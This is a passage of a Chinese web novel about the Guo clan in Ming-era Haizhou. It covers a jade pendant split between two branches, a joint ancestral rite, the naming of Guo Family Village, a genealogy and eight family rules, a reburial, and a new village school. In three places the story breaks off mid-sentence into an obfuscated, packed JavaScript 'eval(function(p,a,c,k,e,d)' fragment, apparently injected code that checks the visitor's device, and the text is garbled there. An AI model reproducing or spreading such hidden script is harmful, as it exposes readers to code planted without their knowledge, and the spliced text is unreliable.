郭玘却摇了摇头,眼中闪过一丝坚定:“郭玹兄,我有一个想法。这枚玉佩,我想将它继续一分为二,‘忠’字玉佩仍由武定侯府保管,‘勇’字玉佩留在海州。我只留下玉佩的拓印,作为家族的纪念。” 郭玹心中一怔,疑惑道:“贤弟,为何如此?如今家族平反,两族团聚,玉佩合璧正是圆满之举,为何要再次分开?” 郭玘微微一笑,解释道:“郭玹兄,玉佩合璧,象征着两族的团聚与冤屈的洗刷,这已经足够了。但我认为,‘半璧藏,两族联’。将玉佩分开保管,并非割裂两族的联系,而是为了让两族永远铭记,我们虽身处两地,却同根同源,血脉相连。每当看到这半块玉佩,便会想起对方,想起我们共同的祖先与忠勇家训。” 他顿了顿,继续道:“更何况,如今巩昌侯府后裔已脱离军籍,成为普通百姓,远离政治纷争。这枚玉佩承载着太多的历史与荣耀,留在海州,未必是好事。而武定侯府身处京城,肩负着传承郭家忠勇精神的使命,‘忠’字玉佩留在那里,更能彰显家族的荣光。我留下拓印,既能让族人铭记先祖的功绩,也能避免因玉佩而引来不必要的麻烦。” 郭玹闻言,眼中满是赞赏:“贤弟想得周到。‘半璧藏,两族联’,这句话说得好!如此一来,既保留了玉佩的象征意义,又能让两族永远铭记手足之情。好,我便依你所言,将‘忠’字玉佩带回武定侯府保管。” 次日清晨,天刚破晓,郭氏两族的合祭大典便在族中祠堂正式举行。祠堂内外,张灯结彩,却又不失庄严肃穆。巩昌侯府的族人后辈身着素色衣衫,武定侯府的随从也换上了整齐的服饰,共同等候着大典的开始。 辰时三刻,合祭大典正式启动。郭玘与郭玹并肩站在祠堂正中央,作为两族的代表,主持祭祀仪式。 郭福伯手持香烛,缓缓走到供案前,点燃香烛,插入香炉。袅袅青烟升起,弥漫在祠堂之中。郭玘与郭玹带领两族族人,对着郭兴、郭英、郭铭、郭斌的牌位,行三叩九拜之礼。 “先祖在上,今有巩昌侯府、武定侯府两族后人,齐聚海州,共祭先祖。”郭玘的声音庄重而肃穆,“先祖兴公,忠勇一生,为大明开国立下赫赫战功;先祖景扬公(郭斌),隐忍蛰伏,带领族人保全血脉,更有郭英公、郭铭公护佑。二十余年蒙冤,终得昭雪;两族分离,今日团聚。愿先祖在天之灵,保佑郭家后人,忠勇传家,手足情深,世代安康!” 郭玹接着道:“先祖在上,孙儿玹代表武定侯府,向先祖告罪。当年家族蒙冤,武定侯府未能倾力相助,致使巩昌侯府族人颠沛流离,受尽苦楚。今日,孙儿将‘忠’字玉佩带回,与‘勇’字玉佩合璧,告慰先祖在天之灵。愿两族后人,铭记先祖教诲,守望相助,不离不弃,共护郭家荣光!” 祭祀完毕后,郭玹再次将“忠”字玉佩与郭玘手中的“勇”字玉佩合璧,供奉在供案上,让两族族人再次瞻仰。族人纷纷上前,对着合璧的玉佩鞠躬行礼,眼中满是崇敬与感慨。 “这枚玉佩,是我们郭家的根啊!”一位白发苍苍的老族人感慨道,“当年兴公带着它南征北战,郭斌公带着它逃亡海州,如今它终于合璧,我们郭家也终于迎来了新生。” 合祭大典结束后,郭玘将早已准备好的玉佩拓印取出,分发给两族的核心族人。拓印上,“忠勇”二字清晰可见,背面的“郭”字古体字暗纹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭玹点点头,眼中满是赞赏:“贤弟,你做得很好。‘守拙’二字,既是陛下对你们的褒奖,也是对你们的期许。守住本分,坚守忠勇,这正是我们郭家后人应有的品质。” 期间,海州知州张大人、东海卫所李大人也前来拜访郭玹,对武定侯府的到来表示欢迎。李大人对郭玘在海州的功绩赞不绝口,向郭玹详细讲述了郭玘带领族人改良盐碱地、兴办蒙学、抵御海盗、救济灾民的种种善举。 郭玹听后,心中满是自豪:“贤弟在海州的所作所为,不仅为家族争光,更为朝廷分忧。武定侯府能有这样一位族人,实在是莫大的荣耀。” 快乐的时光总是短暂,转眼间,郭玹在海州已经停留了十日。临行前,郭玘与族人们在祠堂为他送行。郭玘将装着“忠”字玉佩的锦盒交给郭玹,眼中满是不舍:“郭玹兄,一路保重。这枚‘忠’字玉佩,就拜托你带回武定侯府妥善保管。愿它能见证两族的手足情深,见证郭家的世代繁荣。” 郭玹接过锦盒,郑重道:“贤弟放心,我定会将它妥善保管,让它成为武定侯府与巩昌侯府永远联结的象征。日后,若有机会,我定会带着武定侯府的族人再次前来海州,与你们共祭先祖,共叙亲情。” 他顿了顿,继续道:“京城的局势虽已稳定,但仍有诸多变数。你们在海州,虽远离政治纷争,但也要时刻保持警惕,坚守本分,切勿张扬。若有任何困难,可随时派人前往京城告知,武定侯府定会倾力相助。” “多谢郭玹兄关心。”郭玘躬身道,“我们在海州,定会坚守‘守拙’初心,带领族人耕种劳作,兴办教化,安稳度日,不辜负先祖的期望,不辜负陛下的恩宠,也不辜负武定侯府的牵挂。” 郭玹点点头,转身登上马车。族人们纷纷挥手告别,眼中满是不舍。马车缓缓驶离族中,朝着京城的方向前进。郭玘站在祠堂门口,望着马车远去的背影,心中满是感慨。 他知道,郭玹的离开,意味着两族的短暂团聚已经结束,但两族的手足之情,却永远不会隔断。那枚分藏两地的“忠勇”玉佩,那一张张流传两族的玉佩拓印,将成为两族永远的联结,见证着郭家后人的坚守与传承。 回到祠堂,郭玘将“勇”字玉佩小心翼翼地放入锦盒,供奉在供案上。他看着供案上的玉佩与拓印,心中满是坚定。他知道,家族的平反只是一个新的开始,未来的路还很长。他将带领族人,在海州这片土地上,坚守“忠勇”家训,践行“守拙”初心,让郭家的血脉与精神,永远传承下去。 洪熙元年秋,郭氏两族的合祭大典,成为了海州郭氏家族历史上的重要里程碑。它不仅见证了两族的团聚与和解,更开启了郭家后人崭新的生活。而那枚分藏两地的“忠勇”玉佩与流传两族的拓印,则成为了郭家最珍贵的财富,永远铭记着那段蒙冤隐忍的岁月,也永远守护着两族世代相传的手足深情。 29. 第四卷 御状合璧 第29章 海州立根 洪熙元年深秋,海州的风带着草木的清冽,吹拂着巩昌侯府后裔聚居的村落。自两族合祭结束、郭玹返回京城后,族人们便忙着筹备两件大事:一是“守拙祠”的收尾工程,二是给聚居地起一个正式的名号。 这日午后,郭福伯带着几位族中长辈,来到郭玘家中商议。庭院里,郭玘正带着儿子郭瑜整理刚收获的稻谷,金黄的谷粒堆成小山,散发着丰收的香气。 “玘儿,”郭福伯走进庭院,脸上满是笑意,“如今家族冤屈得雪,又得了陛下御赐的‘守拙堂’匾额,咱们这聚居地也该有个像样的名号了。族人们商议着,不如就叫‘郭府’,既彰显咱们的身份,也对得起先祖的功绩。” 几位长辈也纷纷附和:“是啊,玘儿。咱们是开国功臣之后,如今又蒙陛下平反,叫‘郭府’再合适不过了,也让周边的人知道,咱们郭家又站起来了!” 郭玘放下手中的谷穗,擦了擦额头的汗珠,沉吟片刻道:“各位叔伯长辈,多谢大家的抬爱,但‘郭府’这个名号,我觉得不妥。” “不妥?”郭福伯愣了一下,“为何不妥?咱们祖上是巩昌侯,如今虽不是勋贵,但也是陛下恩准的良民,叫‘郭府’并无不妥啊。” 郭玘微微一笑,解释道:“叔伯长辈,咱们郭家蒙冤二十余年,族人隐姓埋名,在海州屯田为生,好不容易才脱离军籍,成为自在百姓。陛下赐‘守拙堂’匾额,便是希望我们坚守本分,远离政治纷争。若叫‘郭府’,难免会引起旁人的猜忌,认为我们仍念及昔日的荣华富贵,不利于族人安稳度日。” 他顿了顿,继续道:“再说,如今我们已是普通百姓,靠耕种劳作维生,与周边的村落并无不同。叫‘郭府’太过张扬,反而会显得与百姓格格不入。不如就叫‘郭家村’,简单朴实,既点明了是郭氏族人聚居之地,也彰显了我们作为百姓的本分。” “郭家村?”几位长辈相互对视一眼,脸上露出犹豫之色。在他们看来,“府”字才配得上家族的身份,“村”字未免太过普通。 郭玘看出了长辈们的心思,又道:“各位叔伯,昔日的巩昌侯府,早已成为历史。如今的我们,不再是勋贵后裔,而是靠双手吃饭的百姓。‘郭家村’这个名号,既是对我们当下身份的认同,也是对未来生活的期许。我们不求荣华富贵,只求族人能在这片土地上安稳扎根,繁衍生息,这才是最重要的。” 郭福伯沉默良久,终于点了点头:“玘儿说得有道理。我们确实该放下昔日的荣光,踏踏实实做百姓。‘郭家村’就‘郭家村’,只要族人能平安幸福,叫什么都好。” 其他长辈也纷纷表示赞同:“玘儿想得周到,我们听你的!” 消息传到族中,年轻一辈的族人大多表示支持,认为“郭家村”朴实接地气,符合家族如今的处境。而一些年长的族人虽有不舍,但在郭玘的劝说下,也渐渐接受了这个名号。 不久后,“郭家村”的名号便正式定了下来。族人们在村落入口处立了一块青石碑,上面刻着“郭家村”三个苍劲有力的大字,是郭玘亲笔所书。石碑旁还刻着一行小字:“洪熙元年秋立,守拙传家,耕读继世。” 周边的百姓与军户得知后,也纷纷认可了这个名号。只是海州一带多为北方移民,而郭氏族人多为淮西后裔,口音、习俗与当地人略有不同。久而久之,外人便私下称“郭家村”为“蛮子官庄”——“蛮子”是北方人对南方人的俗称,“官庄”则暗指这里是昔日勋贵后裔聚居之地。 族人们得知后,有些愤愤不平,想要去找外人理论。郭玘却拦住了他们:“各位乡亲,不必在意这些。‘蛮子官庄’只是外人的戏称,并无恶意。我们只要坚守本分,与周边百姓和睦相处,日子久了,大家自然会认可我们。” 在郭玘的劝说下,族人们渐渐放下了心结,安心投入到生产生活中。而“蛮子官庄”这个戏称,也渐渐流传开来,成为了郭家村的另一个名号,并无贬义,反而带着几分地域特色的亲切。 与此同时,“守拙祠”的收尾工程也顺利完成。祠堂坐落于郭家村的中心地带,坐北朝南,青砖黛瓦,古朴庄重。祠堂的正门上,悬挂着仁宗御赐的“守拙堂”匾额,黑底金字,熠熠生辉。 祠堂内部分为正殿与偏殿。正殿中央供奉着郭兴、郭斌(郭景扬)的牌位,两侧摆放着李诚、郭忠等为家族牺牲的族人牌位。牌位前的供案上,摆放着香炉、烛台,以及那枚“勇”字玉佩与玉佩拓本。偏殿则用于存放家族的珍贵物品,包括仁宗的平反圣旨、赏赐的银牌、郭兴的手书、两族合修的族谱等。 揭祠大典这日,郭家村的族人纷纷来到祠堂,周边村落的百姓也赶来祝贺。郭玘带领族人,在正殿举行了隆重的供奉仪式,将平反圣旨与玉佩拓本小心翼翼地安放在偏殿的展柜中。 “各位叔伯长辈,兄弟姐妹们,”郭玘站在祠堂正殿,声音庄重,“今日‘守拙祠’正式落成,这不仅是我们郭氏家族的圣地,更是我们坚守本分、传承家风的象征。殿中供奉的先祖牌位,是我们的根;展柜中存放的圣旨与拓本,是我们的魂。希望大家日后能常来祠堂祭拜,铭记先祖的忠勇之志,践行‘守拙’的初心,让郭家的家风世代相传。” 族人们纷纷点头,眼中满是坚定。他们知道,“守拙祠”的落成,意味着郭氏家族在海州真正扎下了根。 揭祠大典结束后,郭玘便开始着手筹备另一件大事——与京城的郭玹合修族谱。自两族合祭后,郭玘便与郭玹通过书信商议,决定合修一部完整的郭氏族谱,明确世系传承,让后人知晓家族的根源与历史。 郭玘取出父亲郭斌临终前留下的残缺族谱,以及这些年收集的家族资料,开始整理世系。他仔细核对每一位族人的姓名、生卒年月、婚配情况,确保信息准确无误。同时,他还通过书信与郭玹沟通,补充武定侯府一脉的世系信息,力求族谱的完整。 在整理世系的过程中,郭玘着重明确了“郭兴—郭斌—郭玘”这一脉的传承,详细记录了郭斌带领族人逃亡海州、隐忍蛰伏、郭玘赴京告御状等重要历史事件,让后人能清晰地了解这一脉的艰辛历程。 此外,郭玘还在族谱中附上了“忠勇”玉佩的拓本图样,并详细记载了玉佩的来历、合璧的过程以及分藏两地的意义,强调“半璧为记,手足同根”的家族理念。 为了让族谱更具传承价值,郭玘还查阅了大量史料,追溯家族的先祖至唐代名将郭子仪。郭子仪平定安史之乱,功勋卓著,被封为汾阳王,以忠勇闻名于世。郭玘认为,郭家的“忠勇”家训,正是源于郭子仪的忠勇精神,将其列为先祖,既能彰显家族的荣光,也能激励后人传承忠勇之志。 在合修族谱的同时,郭玘还结合家族的历史与当下的处境,撰写了《家政八要》,作为郭氏家族的家风准则,收录于族谱之中。 《家政八要》包括“忠、勇、勤、俭、孝、悌、廉、和”八个方面,每一条都附有详细的注解,结合家族的历史故事,通俗易懂,便于后人践行。 “忠”字注解:“忠于家国,不忘先祖之志。郭兴公忠勇报国,为大明开国立功;郭斌公忠于族脉,带领族人绝境求生。后人当忠于朝廷,忠于百姓,坚守本心,不欺暗室。” “勇”字注解:“勇毅坚韧,不畏艰难险阻。先祖南征北战,勇冠三军;族人蒙冤隐忍,勇对磨难。后人当有勇有谋,面对困境不退缩,面对强权不低头。” “勤”字注解:“勤于耕作,方能丰衣足食。我族在海州扎根,赖于垦荒拓土,辛勤劳作。后人当以农为本,勤耕细作,不惰不懒,自食其力。” “俭”字注解:“俭以养德,杜绝奢靡之风。先祖创业不易,族人蒙冤受苦,深知物力维艰。后人当节俭度日,珍惜粮食,不铺张浪费,保持朴素本色。” “孝”字注解:“孝顺父母,尊敬长辈。郭斌公侍奉郭兴公,尽心尽力;族人赡养老人,无微不至。后人当尽孝悌之道,饮水思源,不忘养育之恩。” “悌”字注解:“兄友弟恭,和睦宗族。巩昌侯府与武定侯府,虽隔千里,手足情深。后人当团结友爱,互帮互助,不分彼此,共护家族荣光。” “廉”字注解:“廉洁自律,不贪不义之财。王彪之流,因贪而败;我族后人,当以之为戒。做人当清正廉洁,光明磊落,不取不义之财,不做亏心之事。” “和”字注解:“与人和善,邻里和睦。我族初到海州,得周边百姓相助;如今扎根立足,当回报乡邻。后人当与人为善,互帮互助,共建和谐家园。” 在《家政八要》的末尾,郭玘特意加注:“半璧为记,手足同根。郭氏两族,同源同宗,虽分居两地,却血脉相连。愿后人铭记此训,守望相助,不离不弃,让郭氏家风世代相传,家族基业万年长青。” 族谱的初稿完成后,郭玘将其抄写一份,派人送往京城,交由郭玹核对补充。郭玹收到族谱初稿后,仔细翻阅,对郭玘的整理工作赞不绝口。他补充了武定侯府一脉的详细世系,以及郭英、郭铭等先祖的事迹,并在族谱中写下序言,讲述了两族合修族谱的意义。 “盖闻万物本乎天,人本乎祖。郭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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海州知州张萱张大人对郭家村的发展赞不绝口,时常前来视察,对郭玘的治族之道大加赞赏:“郭公子,你以《家政八要》治族,让郭家村民风淳朴,百姓安居乐业,实在是难得。若天下百姓都能如此,何愁天下不太平?” 郭玘躬身道:“大人过奖了。这都是族人共同努力的结果,也是陛下宽政的恩赐。我们只是做了分内之事,只求安稳度日,不给朝廷添麻烦。” 这日,郭玘正在田间查看小麦的长势,郭福伯匆匆赶来,手中拿着一封书信:“玘儿,京城来的信,是郭玹公子寄来的。” 郭玘心中一喜,连忙接过书信,拆开阅读。信中,郭玹告知郭玘,武定侯府已将合修的族谱供奉于府中祠堂,并按照《家政八要》的准则教育族人。同时,郭玹还提及,仁宗皇帝对郭氏家族在海州的发展十分满意,特意赏赐了一批农桑书籍与谷种,已派人送往海州。 “太好了!”郭玘看完书信,脸上满是喜悦。他知道,这不仅是朝廷的恩赐,更是对郭氏家族“守拙”初心的认可。 不久后,朝廷赏赐的农桑书籍与谷种送达郭家村。郭玘组织族中长辈与有经验的农夫,仔细研读农桑书籍,学习新的耕作技术,并将赏赐的谷种试种在田间。在新的耕作技术与优良谷种的助力下,郭家村的农业生产迎来了新的丰收,粮食产量大幅提高,族人的生活也愈发富足。 郭玘站在田间,望着金黄的麦田,心中满是感慨。从父亲带领族人逃亡海州,到自己赴京告御状,再到如今家族在海州扎根立足,二十余年的风雨历程,仿佛就在昨天。 他想起了祖父郭兴的忠勇,想起了父亲郭斌的隐忍,想起了郭铭叔的守护,想起了郭玹兄的相助,想起了族人们的坚守。正是这一代代人的努力与付出,才换来了今日的安稳与幸福。 “爹,祖父,”郭玘心中默念,“你们放心吧,我们在海州已经扎下了根。郭家村会越来越好,郭家的家风会世代相传,你们的忠勇之志,永远不会被遗忘。” 夕阳西下,余晖洒在郭家村的田野与祠堂上,镀上了一层温暖的金光。郭玘牵着儿子郭瑜的手,漫步在田间的小路上,远处传来族人的欢声笑语与孩童的读书声,构成了一幅宁静而祥和的画面。 洪熙元年的深秋,郭氏家族在海州真正实现了“立根”。“郭家村”的名号深入人心,“守拙祠”的香火绵延不绝,合修的族谱与《家政八要》成为了家族传承的根基。而“蛮子官庄”这个带着地域特色的戏称,也见证了郭氏族人融入海州、与民同乐的历程。 郭玘知道,这只是一个新的开始。未来的路还很长,他将继续带领族人,坚守“忠勇”家训,践行“守拙”初心,在海州这片土地上繁衍生息,让郭家村的故事,在历史的长河中,书写出更加精彩的篇章。 30. 第四卷 御状合璧 第30章 耕读传家 洪熙元年冬,海州的风带着刺骨的寒意,却吹不散郭家村族人心中的暖意。自“守拙祠”落成、族谱合修完成后,郭玘便着手筹备迁墓之事——将父亲郭斌(原名景扬)的墓迁至“守拙祠”后方的墓园,与先祖的衣冠冢一同供奉,让家族的根脉在海州真正落地。 这日清晨,天刚蒙蒙亮,郭玘便带领族中青壮年,前往海州城外的旧墓地。郭斌的墓原本位于郭家村西侧的荒坡上,当年族人初到海州,条件艰苦,只能草草安葬。如今家族安定,郭玘便想将父亲迁葬至“守拙祠”后的墓园,让父亲得以与先祖相伴,也方便族人日后祭拜。 旧墓地四周杂草丛生,郭斌的墓碑早已斑驳,上面简单刻着“郭公之墓”四字。郭玘看着墓碑,眼中满是愧疚:“爹,儿子不孝,让您在此荒坡上委屈了二十余年。如今家族冤屈得雪,安定下来了,儿子这就将您迁到新墓园,与祖父、曾祖父相伴,让您在天之灵得以安息。” 族人们小心翼翼地清理掉墓周围的杂草,开挖墓穴。过程中,郭玘始终亲自参与,神情庄重。当棺木被缓缓取出时,族人们发现,棺木虽历经二十余年风雨,却依旧完好,这是当年李诚拼尽全力为郭斌打造的楠木棺,为的就是让他能安息长眠。 郭玘亲自为父亲的棺木擦拭干净,重新装饰焕新,然后小心翼翼地将棺木抬上早已准备好的马车。族人们沿途撒着纸钱,敲着锣鼓,护送着棺木前往新墓园。新墓园位于“守拙祠”后方,海州城外东北处,背山面海,风水极佳。这里早已被族人平整好,中间是郭斌的新墓,左侧是曾祖父郭山甫的衣冠冢,右侧是祖父郭兴的衣冠冢,三座墓呈“品”字形排列,气势庄重。 迁葬仪式按照海州的习俗举行,郭玘带领族人,对着郭斌的棺木行三叩九拜之礼,然后将棺木缓缓放入新墓穴中。族人们填土封墓,立起新的墓碑。新墓碑由上好的青石制成,上面刻着“显考郭公讳斌之墓,字体苍劲有力,是郭玘亲笔所书。墓碑两侧刻着一副对联:“忠勇传家昭日月,守拙安身耀子孙”,横批为“祖德长存”。 随后,郭玘又带领族人,为郭山甫与郭兴的衣冠冢立碑。郭山甫的墓碑上刻着“始祖郭公讳山甫衣冠冢”,郭兴的墓碑上刻着“显祖郭公讳兴衣冠冢”,墓碑两侧同样刻着传承家风的对联。三座墓前都摆放着香炉、烛台,郭玘点燃香烛,带领族人再次祭拜。 “曾祖父,祖父,父亲,”郭玘的声音庄重而肃穆,“今日将父亲迁葬于此,与二位先祖相伴,愿你们在天之灵,保佑郭氏族人枝繁叶茂,耕读传家,世代安康。” 祭拜完毕后,郭玘让人在墓园四周种植了百余株松柏。松柏四季常青,耐寒耐旱,象征着郭家“守拙常青”的家风,也寓意着家族的基业永远稳固。寒风中,松柏幼苗挺立,仿佛在诉说着家族的坚韧与希望。 迁墓之事完成后,郭玘心中一块大石落地。他站在墓园中,望着三座墓碑与四周的松柏,心中满是坚定。他知道,父亲与先祖们的在天之灵,定会保佑族人在海州这片土地上繁衍生息,传承家风。 接下来,郭玘便将精力投入到兴办新学堂之事上。早在家族平反之初,他便有了兴办新学堂的想法,如今“守拙祠”落成,迁墓之事也已完成,终于有了足够的精力与条件来实现这个心愿。 新学堂选址在“守拙祠”南侧,占地面积约三亩,计划建造三间教室、一间书房、一间宿舍,以及一个操场。消息传出后,族人们纷纷响应,有钱出钱,有力出力。郭福伯带头捐出了自己积攒多年的银钱,几位年轻的族人主动承担了建造学堂的重任,周边的百姓也纷纷前来帮忙,运送木料、砖石。 学堂的建造过程十分顺利,不到两个月便竣工了。学堂的建筑风格与“守拙祠”保持一致,青砖黛瓦,古朴庄重。教室的窗户宽敞明亮,便于采光;书房中摆放着书架,用于存放书籍;宿舍则供老师居住。操场铺着平整的黄土,是孩子们课间活动的地方。 学堂落成后,郭玘便开始筹备聘请老师之事。他第一个想到的便是张秉。张秉学识渊博,品德高尚,曾担任翰林院侍读学士,如今已年近七旬,早已萌生了告老还乡的念头。郭玘认为,张秉是教导族中子弟的最佳人选。 郭玘亲自写下一封书信,派人送往京城。信中,他详细说明了兴办学堂的初衷,表达了恳请张秉前来执教的诚意,并承诺为张秉提供舒适的居住环境与丰厚的俸禄。 张秉收到书信后,心中满是感动。他与郭氏家族渊源深厚,当年正是他帮助郭斌带领族人收集资料,为家族平反奔走。如今郭氏家族安定下来,兴办学堂,传承文化,这正是他所期望的。他当即回信,同意了郭玘的请求,决定告老还乡,前往海州执教。 消息传到郭家村,族人们纷纷欢呼雀跃。大家都知道,张秉是学识渊博的大官,能请到他来执教,是族中子弟的福气。 数月后,张秉在家人的陪伴下,抵达海州。郭玘带领族人们早已等候在郭家村入口处,见到张秉,连忙上前迎接:“张先生,一路辛苦,欢迎您来海州执教!” 张秉握着郭玘的手,眼中满是欣慰:“郭公子,恭喜你家族安定,兴办学堂。能为郭氏家族的子弟授课,是老夫的荣幸。” 郭玘将张秉迎进早已准备好的宅院,宅院位于学堂旁边,环境清幽,设施齐全。安顿好张秉后,郭玘便与他商议学堂的教学事宜。 “张先生,”郭玘道,“如今族中子弟多在田间劳作,识字者甚少。我希望通过学堂,让孩子们既能读书识字,又能学会做人做事。您认为,教学应当注重哪些方面?” 张秉沉吟片刻道:“郭公子所言极是。老夫认为,教学当以‘先学做人,再学做事’为宗旨。首先要教孩子们明辨是非,懂得礼义廉耻,传承郭氏家族的‘忠勇’‘守拙’家风;其次要教孩子们读书识字,学习经史子集,增长学识;最后要教孩子们一些实用的技能,如算术、农桑知识等,让他们日后能自食其力。” 郭玘深表赞同:“张先生所言,正是我心中所想。孩子们是家族的未来,只有让他们既懂得做人,又具备学识与技能,家族才能长久发展。” 两人商议决定,学堂的招生范围不仅包括郭氏家族的子弟,还免费招收周边的贫民子弟。学堂的课程设置分为三类:一类是品德教育,讲授《弟子规》《三字经》等,培养孩子们的道德品质;二类是文化教育,讲授《论语》《孟子》《洪武正韵》等,教孩子们读书识字、吟诗作对;三类是技能教育,讲授算术、农桑、水利等知识,培养孩子们的实用技能。 学堂正式开课这日,阳光明媚,郭家村的学堂里挤满了前来报名的孩子。共有五十余名孩子入学,其中郭氏家族的子弟三十余人,周边的贫民子弟二十余人。孩子们穿着崭新的衣服,脸上满是兴奋与期待。 开学仪式在学堂的操场举行,郭玘与张秉并肩站在台上,族人们与孩子们的家长也纷纷前来观礼。 郭玘首先发言:“各位乡亲,各位同学,今日我们郭家村的学堂正式开课了!这所学堂的建成,离不开各位的支持与帮助。我希望,在座的每一位同学,都能珍惜这个学习的机会,听从张先生的教导,先学做人,再学做事,传承家族的忠勇家风,长大后成为对家族、对社会有用的人。” 随后,张秉走上台,目光扫过台下的孩子们,温和地说道:“同学们,老夫姓张,从今日起,便是你们的老师。你们来到学堂,不仅要学习知识,更要学习做人。做人要讲诚信、懂礼貌、有担当;做事要勤奋、踏实、肯钻研。老夫会尽己所能,教你们读书识字,传你们为人处世之道。希望你们不负父母的期望,不负郭公子的心血,努力学习,早日成才。” 开学仪式结束后,孩子们纷纷走进教室,开始了第一天的学习。张秉先教孩子们认识自己的名字,然后讲授《三字经》的开篇:“人之初,性本善。性相近,□□……”孩子们听得十分认真,跟着张秉大声朗读,朗朗的读书声回荡在学堂的上空,也回荡在郭家村的田野间。 张秉的教学方法独特,他不仅注重知识的传授,更注重品德的培养。他常常结合郭氏家族的历史故事,向孩子们讲述“忠勇”“守拙”的家风。他会讲郭兴南征北战、忠勇报国的故事,让孩子们明白什么是“忠”;会讲郭斌隐忍蛰伏、带领族人求生的故事,让孩子们明白什么是“勇”;会讲郭玘赴京告御状、不慕荣华的故事,让孩子们明白什么是“守拙”。 在张秉的教导下,孩子们不仅学识日益增长,品德也不断提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郭家村的族人都十分勤奋,男人们在田间耕作,女人们在家中纺纱织布、饲养家禽,老人们则帮忙照看孩子、打理家务。族人们相互帮助,团结友爱,形成了良好的家风。农忙时节,大家会相互帮忙收割庄稼,确保粮食及时入库;农闲时节,大家会一起修缮房屋、开垦荒地,为来年的生产做准备。 郭玘还十分注重水利设施的建设。他带领族人,在郭家村的农田周边开挖了多条水渠,将海州城外的河水引入农田,解决了灌溉问题。同时,他还组织族人修建了堤坝,防止雨季河水泛滥,保护农田与村庄的安全。 在郭玘的带领下,郭家村的生活日益富足。族人们都盖上了宽敞明亮的房屋,家中粮食满仓,衣物充足。孩子们在学堂里读书识字,大人们在田间辛勤劳作,整个郭家村呈现出一派欣欣向荣的景象。 周边的百姓对郭家村的变化看在眼里,羡慕在心里。他们纷纷向郭氏族人学习耕作技术,郭玘也毫不吝啬,将改良盐碱地的方法、新的耕作技术无偿传授给他们。在郭氏家族的影响下,周边的村庄也纷纷发展农业生产,兴办学堂,海州一带的经济与文化都得到了显著发展。 这日,郭玘正在学堂查看孩子们的学习情况,张秉笑着对他说:“郭公子,你看这些孩子们,如今个个都知书达理,勤奋好学。再过几年,他们都会成为有学识、有品德的栋梁之才。” 郭玘看着孩子们认真学习的模样,心中满是欣慰:“这都多亏了张先生的教导。‘耕读传家’是我们家族的传承,只有让孩子们既会耕作,又会读书,家族才能长久发展。” 张秉点点头:“郭公子说得对。‘耕’能让族人丰衣足食,‘读’能让族人明辨是非。耕读传家,方能长久。郭氏家族有你这样的掌舵人,未来定会更加兴旺。” 郭玘与张秉站在学堂的窗前,望着窗外明媚的阳光与孩子们欢快的身影,心中满是希望。他知道,“耕读传家”的种子已经在郭家村生根发芽,未来,它将长成参天大树,庇佑着郭氏家族世代相传,生生不息。 洪熙元年的冬天,郭家村的学堂里书声琅琅,田野里松柏常青。郭玘带领族人,以“耕”立身,以“读”传家,坚守着“忠勇”“守拙”的家风,在海州这片土地上,书写着家族崭新的篇章。而这“耕读传家”的理念,也将成为郭氏家族最宝贵的财富,代代相传,永不磨灭。 31. 第四卷 御状合璧 第31章 璞玉新生 洪熙元年岁末,海州的寒风卷着细雪,落在郭家村的青石板路上,给古朴的村落覆上了一层薄白。“守拙祠”的香火在风雪中袅袅升腾,祠堂外的松柏顶着积雪,愈发显得苍劲挺拔。郭玘正坐在祠堂的偏殿中,翻阅着张秉修订的学堂教材,忽然听到院外传来急促的脚步声。 “族长,京城急信!”族中负责传递消息的郭忠快步走进来,手中捧着一封火漆封口的信函,脸上带着几分凝重。 郭玘心中一凛,放下手中的书卷,接过信函。火漆上印着武定侯府的印章,是郭玹的亲笔信。他拆开信函,快速浏览起来,眉头渐渐皱起。 信函中写道,洪熙元年十一月,仁宗感念郭铭生前对朝廷的忠诚与对郭氏家族的守护,追封其为武定侯;随后,郭英之孙、郭铭之子郭玹(第三代武定侯)正式承袭武定侯爵位。然而,郭玹袭爵不久,便遭朝中政敌构陷,称其“利用郭贵妃裙带关系谋爵,暗中资助巩昌侯府后裔,意图恢复旧勋势力”,仁宗虽未轻信,但已派御史调查,武定侯府的家产被暂时封存,府中上下陷入困境。 “政敌构陷……”郭玘低声念着,心中泛起波澜。他深知京城朝堂的凶险,郭玹袭爵本就引人瞩目,再加上郭贵妃的关系,难免遭人嫉妒。如今武定侯府遭难,自己身为同族,绝不能坐视不理。 郭耀(郭福子)在一旁问道:“族长,武定侯府出事,我们要不要派人去京城相助?” 郭玘沉吟片刻,道:“京城局势复杂,派人前往恐难有成效,反而可能落人口实。郭玹兄如今最缺的是周转的银钱,只要能度过眼前的难关,等御史调查清楚,真相自会大白。” 他起身走到窗边,望着窗外的风雪,心中已有了主意。海州盛产海盐,自郭玘带领族人改良盐碱地后,便顺带协助官方经营起煮盐、售盐的生意,如今已积累了不少盐引(古代盐业贸易的凭证,可兑换银钱或粮食)。这些盐引在民间流通性极强,价值不菲,正是郭玹此刻最需要的。 “郭耀,你立刻去库房,清点所有盐引,全部打包备好。”郭玘沉声道,“再挑选两名精明能干、稳妥可靠的族人,连夜启程前往京城,将盐引交给郭玹兄,务必让他妥善使用,渡过难关。” “是,族长!”郭耀领命,立刻下去准备。 